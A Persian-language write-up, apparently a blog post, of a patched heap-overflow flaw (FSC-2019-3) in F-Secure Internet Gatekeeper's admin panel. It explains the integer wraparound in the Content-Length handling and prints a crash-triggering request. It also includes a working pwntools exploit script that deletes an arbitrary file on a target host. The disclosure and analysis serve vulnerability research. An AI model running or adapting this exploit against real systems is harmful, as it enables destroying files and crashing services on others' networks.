آسیب پذیری سرریز بافر در F-Secure Internet Gatekeeper


این گزارش که به بررسی آسیب پذیری سرریز بافر در F-Secure Internet Gatekeeper می پردازد نشان خواهد داد که چگونه یک اشتباه ساده می تواند منجر به آسیب پذیری اجرای کد از راه دور و بهره برداری از آن شود.

این نقص که با شناسه FSC-2019-3 ردیابی می شود ، در نسخه های F-Secure Internet Gatekeeper versions 5.40 – 5.50 hotfix 8 (2019-07-11) رفع شده است.

تنظیم محیط Reproduction:

کلیه تست ها باید در یک ماشین مجازی CentOS ، دارای حداقل 1 پردازنده و 4 گیگابایت رم قابل تکرار باشد. همچنین به نصب F-Secure Internet Gatekeeper نیاز خواهد بود. هرچند فایل نصبی قبلاً ازطریق آدرس:

https://www.f-secure.com/fa/business/downloads/internet-gatekeeper

قابل بارگیری و امکان پذیر بود، اما به نظر می رسد ارائه دهنده ی این برنامه نسخه آسیب پذیر آن را از دسترس خارج کرده است.

با این حال پکیج تحت تاثیر قرار گرفته دارای هش SHA256 زیر می باشد:

1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26

نکات مهم در نصب:

(1) اگر از نسخه CentOS x64 استفاده می کنید دستور yum install glibc.i686 را اجرا نمایید.

(2) باینری Internet Gatekeeper را با استفاده از دستور rpm -I <fsigkbin>.rpm نصب کنید.

(3) به منظور داشتن تجربه ای بهتر در اشکال زدایی ، gdb 8+  و https://github.com/hugsy/gef را نصب کنید

اکنون می توانید از GHIDRA / IDA برای مهندسی معکوس Internet Gatekeeper  استفاده نمایید .

هدف:

با توجه به تعریف ارائه شده توسط F-Secure ، Internet Gatekeeper یک راهکار بسیار موثر و راحت برای مدیریت حفاظت شبکه های سازمانی در سطح gateway می باشد. این محصول دارای یک پنل مدیریتی ست که بر روی پورت 9012 TCP فعال می باشد و ممکن است برای کنترل کلیه ی خدمات و قوانین موجود در محصول (پروکسی HTTP ، پروکسی IMAP و … ) استفاده شود. این پنل مدیریتی توسط باینری fsikgwebui که به زبان C  نوشته شده است از طریق پروتکل HTTP سرو می شود. به عبارت دیگر کل وب سرور با زبان C/C++ توسعه یافته است . در نتیجه انتظار می رود آسیب پذیری memory corruption که در این زبان رایج است نیز وجود داشته باشد.

بر همین اساس محققان امنیت سایبری ، نقص مذکور را با فازی کردن پنل مدیریتی به وسیله ی Fuzzotron (که از Radamsa به عنوان موتور اصلی بهره می برد) کشف کنند. Fuzzotron دارای امکان پشتیبانی از TCP به منظور تسهیل عملیات fuzzing سرویس های شبکه می باشد. بر این اساس محققان یک درخواست POST معتبر را که برای تغییر زبان در صفحه پنل مدیریت استفاده می شد را بررسی کردند. این درخواست می تواند توسط کاربران غیرمجاز نیز انجام شود و در نتیجه می تواند گزینه ی مناسبی برای fuzzing باشد.

هنگام تجزیه و تحلیل ورودی تغییریافته توسط radamsa، می توان مشاهده کرد که علت اصلی مربوط به هدر Content-length می باشد. در واقع تست تولید شده که منجر به crash برنامه شده است، دارای مقدار هدر

Content-Length: 21487483844

می باشد که نشانگر وجود سرریز به دلیل محاسبات نادرست Integer است.

پس از اجرای تست از طریق gdb محققان متوجه شدند که کد، مسئول crash در عملکرد تابع

fs_httpd_civetweb_callback_begin_request

بوده است. این متود بسته به اینکه کدام افعال HTTP، مسیرها یا کوکی ها استفاده شده اند ، مسئول رسیدگی به ارتباطات ورودی و ارسال آن ها به توابع مربوطه می باشد.

برای نشان دادن مسئله یک درخواست POST را به پورت 9012 که پنل مدیریتی در آن در حال اجرا می باشد ارسال می کنیم. در این درخواست یک مقدار هدرContent-Length  بسیار بزرگ تعریف شده است:

POST /submit HTTP/1.1
Host: 192.168.0.24:9012
Content-Length: 21487483844
AAAAAAAAAAAAAAAAAAAAAAAAAAA

برنامه درخواست را تجزیه کرده و تابع fs_httpd_get_header را برای بازیابی طول محتوا اجرا می کند. سپس طول محتوا به تابع strtoul منتقل می گردد. کد زیر ، خلاصه ای از جریان کنترل را ارائه می دهد:

content_len = fs_httpd_get_header(header_struct, "Content-Length");
if ( content_len ){
   content_len_new = strtoul(content_len_old, 0, 10);
}

مقدار بازگشتی از تابع strtoul یک int طولانی و بدون علامت است که می تواند بیشترین مقدار ممکن یعنی 232-1 (در سیستم های 32 بیتی) را به خود اختصاص دهد:

The strtoul() function returns either the result of the conversion or, if there was a leading minus sign, the negation of the result of the conversion represented as an unsigned value, unless the original (nonnegated) value would overflow; in the latter case, strtoul() returns ULONG_MAX and sets errno to ERANGE. Precisely the same holds for strtoull() (with ULLONG_MAX instead of ULONG_MAX).

از آنجا که طول محتوای ارائه شده برای یک int طولانی و بدون علامت، بسیار بزرگ است، تابع strtoul مقدار ULONG_MAX که در سیستم های 32 بیتی مطابق با 0xFFFFFFFF می باشد را بازمی گرداند.

هرچند تاکنون همه چیز طبیعی و نرمال دیده شده است اما اکنون باگ واقعی نمایان خواهد شد: هنگامی که تابع fs_httpd_civetweb_callback_begin_request تلاش می کند تا درخواست malloc را برای جادهی اطلاعات ما صادر کند، ابتدا مقدار 1 را به متغیر content_length اضافه می کند و سپس malloc را فرامی خواند:

// fs_malloc == malloc
data_by_post_on_heap = fs_malloc(content_len_new + 1)

این مسئله باعث ایجاد مشکل می شود چراکه مقدار 0xFFFFFFFF + 1 منجر به سرریز عدد صحیح شده و مقدار 0x00000000 را نتیجه می دهد. زمانی که malloc(0) فراخوانی می شود یک نشانگر معتبر به پشته برگردانده می شود که به یک تخصیص با حداقل اندازه ممکن 0x10 اشاره می کند:

The malloc() function allocates size bytes and returns a pointer to the allocated memory. The memory is not initialized. If size is 0, then malloc() returns either NULL, or a unique pointer value that can later be successfully passed to free().

چنانچه کمی در کد Internet Gatekeeper جستجو کنیم می توان یک فراخوانی به mg_read را مشاهده کرد:

// content_len_new is without the addition of 0x1.
// so content_len_new == 0xFFFFFFFF
if(content_len_new){
    int bytes_read = mg_read(header_struct, data_by_post_on_heap, content_len_new)
}

در حین سرریز، این کد مقداری دلخواه از داده ها را بدون هیچ گونه محدودیتی بر روی پشته می خواند. از منظر بهره برداری، این امر یک ابتکار بسیار خوب تلقی می شود چراکه می توان نوشتن بایت ها را در جریان HTTP متوقف کرد  و درنتیجه نرم افزار به سادگی اتصال را خاموش کرده و ادامه دهد. در این شرایط، کنترل کاملی بر تعداد بایت های مورد نظر برای نوشتن وجود دارد.

به طور خلاصه ، می توان قطعاتی از malloc به اندازه 0x10 را با سرریز داده های دلخواه برای غلبه بر ساختارهای حافظه موجود استفاده کرد. PoC زیر نشانگر این مسئله است:

با تغییر flag به should_delete_file = true می توان از یک ساختار موجود در پشته بهره برداری کرده و سپس با مسیری کامل از فایلی که می خواهیم delete کنیم، heap spraying انجام دهیم.

از سوی دیگر، Handler داخلی  Internet Gatekeeper یک متود decontruct_http دارد که به دنبال این flag است و فایل را پاک می کند. با اعمال این سوء استفاده ، مهاجم یک فایل را خودسرانه پاک می کند که همین امر به خودی خود نشانگر اهمیت این نقص می باشد.

from pwn import *
import time
import sys



def send_payload(payload, content_len=21487483844, nofun=False):
    r = remote(sys.argv[1], 9012)
    r.send("POST / HTTP/1.1\n")
    r.send("Host: 192.168.0.122:9012\n")
    r.send("Content-Length: {}\n".format(content_len))
    r.send("\n")
    r.send(payload)
    if not nofun:
        r.send("\n\n")
    return r


def trigger_exploit():
    print "Triggering exploit"
    payload = ""
    payload += "A" * 12             # Padding
    payload += p32(0x1d)            # Fast bin chunk overwrite
    payload += "A"* 488             # Padding
    payload += p32(0xdda00771)      # Address of payload
    payload += p32(0xdda00771+4)    # Junk
    r = send_payload(payload)



def massage_heap(filename):
        print "Trying to massage the heap....."
        for x in xrange(100):
            payload = ""
            payload += p32(0x0)             # Needed to bypass checks
            payload += p32(0x0)             # Needed to bypass checks
            payload += p32(0xdda0077d)      # Points to where the filename will be in memory
            payload += filename + "\x00"
            payload += "C"*(0x300-len(payload))
            r = send_payload(payload, content_len=0x80000, nofun=True)
            r.close()
            cut_conn = True
        print "Heap massage done"


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print "Usage: ./{} <victim_ip> <file_to_remove>".format(sys.argv[0])
        print "Run `export PWNLIB_SILENT=1` for disabling verbose connections"
        exit()
    massage_heap(sys.argv[2])
    time.sleep(1)
    trigger_exploit()
    print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])

بهره برداری مطرح شده حدود 60 تا 70 درصد از کلیه تلاش ها را شامل می شود و PoC اشاره شده نیز تنها به دستگاه های خاصی که در پیش نیازها به آن ها اشاره شد متکی ست.

با این حال دست یابی به REC قطعا امکانپذیر می باشد چرا که می توان اندازه دقیق chunk را کنترل و همانطور که می خواهیم در chunk های کوچک رونویسی کنیم. علاوه بر این برنامه از موضوعات مختلفی استفاده می کند که می توانند برای دستیابی به پشته های پاک و بهره برداری های چندباره مورد استفاده قرار گیرند.

اخبار

F-SecureFSC-2019-3GateKeeperInternet Gatekeeper

Leave a Reply

Your email address will not be published.